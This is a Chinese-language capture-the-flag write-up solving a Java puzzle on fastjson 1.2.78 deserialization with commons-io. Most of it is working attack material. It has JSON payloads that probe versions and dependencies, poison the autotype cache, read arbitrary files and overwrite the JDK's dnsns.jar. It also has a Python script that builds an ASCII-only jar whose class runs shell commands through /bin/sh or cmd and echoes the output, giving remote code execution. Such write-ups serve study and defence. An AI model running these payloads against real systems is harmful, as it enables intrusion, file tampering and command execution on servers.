Fastjson Decoder

题目:https://github.com/cwkiller/Java-Puzzle/blob/main/Fastjson%20Decoder

依赖:
fastjson-1.2.78.jar
commons-io-2.2.jar

fastjson反序列化

报错获取版本信息

1
2
{
"@type": "java.lang.AutoCloseable"

报错探测依赖:

1
2
3
4
5
6
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}}

如果类不存在会返回null,存在返回:can not cast to char, value : interface xxxxxx

常用依赖枚举:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
org.springframework.web.bind.annotation.RequestMapping  //SpringBoot
org.apache.catalina.startup.Tomcat //Tomcat
groovy.lang.GroovyShell //Groovy
com.mchange.v2.c3p0.DataSources //C3P0
com.mysql.jdbc.Buffer //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
sun.nio.cs.GBK //JDK8
java.net.http.HttpClient //JDK11
org.apache.ibatis.type.Alias //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.io.Charsets //commons-io>2.2
org.apache.commons.io.file.Counters //commons-io-2.7-2.8
org.aspectj.ajde.Ajde //aspectjtools

其实就是之前的:https://github.com/luelueking/CVE-2022-25845-In-Spring

首先把java.io.InputStream加入 autotype 缓存

1
2
3
4
5
6
7
8
9
10
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\": {}}",
"d": {
"$ref": "$.c.c"
}
}

接下来读文件POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "${file}"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": ${data}
}
]
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [1]
}
]
},
"b": {"$ref":"$.a.delegate"}
}

都没有什么问题,但是在写文件的时候发现报错了:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: create instance error, null, public org.apache.commons.io.input.CharSequenceInputStream(java.lang.CharSequence,java.lang.String,int)

由于commons-io版本不同,参数名会存在差异

commons-io版本 参数名
2.2-2.4 org.apache.commons.io.input.CharSequenceInputStream s
2.5+ org.apache.commons.io.input.CharSequenceInputStream cs
2.2-2.6 org.apache.commons.io.input.XmlStreamReader is
2.7+ org.apache.commons.io.input.XmlStreamReader inputStream

解决完这个问题,再次执行还是会报错

原因就是WriterOutputStream在初始化的时候decoder为null

导致空指针异常

所以在初始化的时候需要一个java.nio.charset.CharsetDecoder类型的类,测试发现只有com.alibaba.fastjson.util.UTF8Decoder满足需求,同时也是因为这个Decoder,导致只能写入UTF-8编码的内容

1
"decoder":{"@type":"com.alibaba.fastjson.util.UTF8Decoder"},

ascii jar

可以通过:https://github.com/c0ny1/ascii-jar生成字节均在ASCII范围的特殊jar文件

但是在catch的时候会调用Charset.forName("GBK"),导致charset.jar被提前加载了,我们需要找其他未加载的jar包

师傅们找到以下jar包

1
2
/usr/local/openjdk-8/jre/lib/ext/nashorn.jar
/usr/local/openjdk-8/jre/lib/ext/dnsns.jar

生成ascii jar包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from __future__ import print_function

import time
import os
from compress import *

allow_bytes = []
disallowed_bytes = [38,60,39,62,34,40,41] # &<'>"()
for b in range(0,128): # ASCII
if b in disallowed_bytes:
continue
allow_bytes.append(b)


if __name__ == '__main__':
padding_char = 'U'
raw_filename = 'DNSNameServiceDescriptor.class'
zip_entity_filename = 'sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.class'
jar_filename = 'ascii01_3.jar'
num = 1
while True:
# step1 动态生成java代码并编译
javaCode = """
package sun.net.spi.nameservice.dns;
import sun.net.spi.nameservice.NameService;
import sun.net.spi.nameservice.NameServiceDescriptor;
import java.lang.reflect.Method;
import java.util.Scanner;

import java.io.IOException;

public final class DNSNameServiceDescriptor extends Exception implements NameServiceDescriptor {
private static final String paddingData = "{PADDING_DATA}";
public DNSNameServiceDescriptor(String message) {
try {
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o);
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = message;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
} catch (Exception e) {
}
}

public NameService createNameService() throws Exception {
return null;
}

public String getProviderName() {
return "sun";
}

public String getType() {
return "dns";
}
}
"""
padding_data = padding_char * num
javaCode = javaCode.replace("{PADDING_DATA}", padding_data)

f = open('DNSNameServiceDescriptor.java', 'w')
f.write(javaCode)
f.close()
time.sleep(0.1)

os.system("/Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/bin/javac -nowarn -g:none -source 1.8 -target 1.8 -cp jasper.jar DNSNameServiceDescriptor.java")
time.sleep(0.1)

# step02 计算压缩之后的各个部分是否在允许的ASCII范围
raw_data = bytearray(open(raw_filename, 'rb').read())
compressor = ASCIICompressor(bytearray(allow_bytes))
compressed_data = compressor.compress(raw_data)[0]
crc = zlib.crc32(raw_data) % pow(2, 32)

st_crc = struct.pack('<L', crc)
st_raw_data = struct.pack('<L', len(raw_data) % pow(2, 32))
st_compressed_data = struct.pack('<L', len(compressed_data) % pow(2, 32))
st_cdzf = struct.pack('<L', len(compressed_data) + len(zip_entity_filename) + 0x1e)


b_crc = isAllowBytes(st_crc, allow_bytes)
b_raw_data = isAllowBytes(st_raw_data, allow_bytes)
b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes)
b_cdzf = isAllowBytes(st_cdzf, allow_bytes)

# step03 判断各个部分是否符在允许字节范围
if b_crc and b_raw_data and b_compressed_data and b_cdzf:
print('[+] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))
# step04 保存最终ascii jar
output = open(jar_filename, 'wb')
output.write(wrap_jar(raw_data,compressed_data, zip_entity_filename.encode()))
print('[+] Generate {0} success'.format(jar_filename))
break
else:
print('[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}'.format(b_crc, b_raw_data,
b_compressed_data, b_cdzf, num,
padding_char))
num = num + 1

写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"s": {
"@type": "java.lang.String"
"\x50\x4b\x03\x04\x0a.........",
"charset": "iso-8859-1",
"bufferSize": 1024
},
"branch": {
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.LockableFileWriter",
"file":"/usr/local/openjdk-8/jre/lib/ext/dnsns.jar",
"encoding":"UTF-8",
"append": false
},
"decoder":{"@type":"com.alibaba.fastjson.util.UTF8Decoder"},
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"c": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"d": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"e": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
}

注意每1024个字节就需要重复一次ReaderInputStream

成功回显

参考:
springboot环境下的写文件RCE
fastjson写文件挑战
FastJson 1.2.80 原理分析 & 小挑战 & 小 trick
Fastjson反序列化Groovy+Commons-io文件写入
fastjson1.2.80 in Springtboot实网利用记录
[Java Puzzle #3 WP] Fastjson write ascii JAR RCE
记录CVE-2022-25845-In-Spring解题中遇到的问题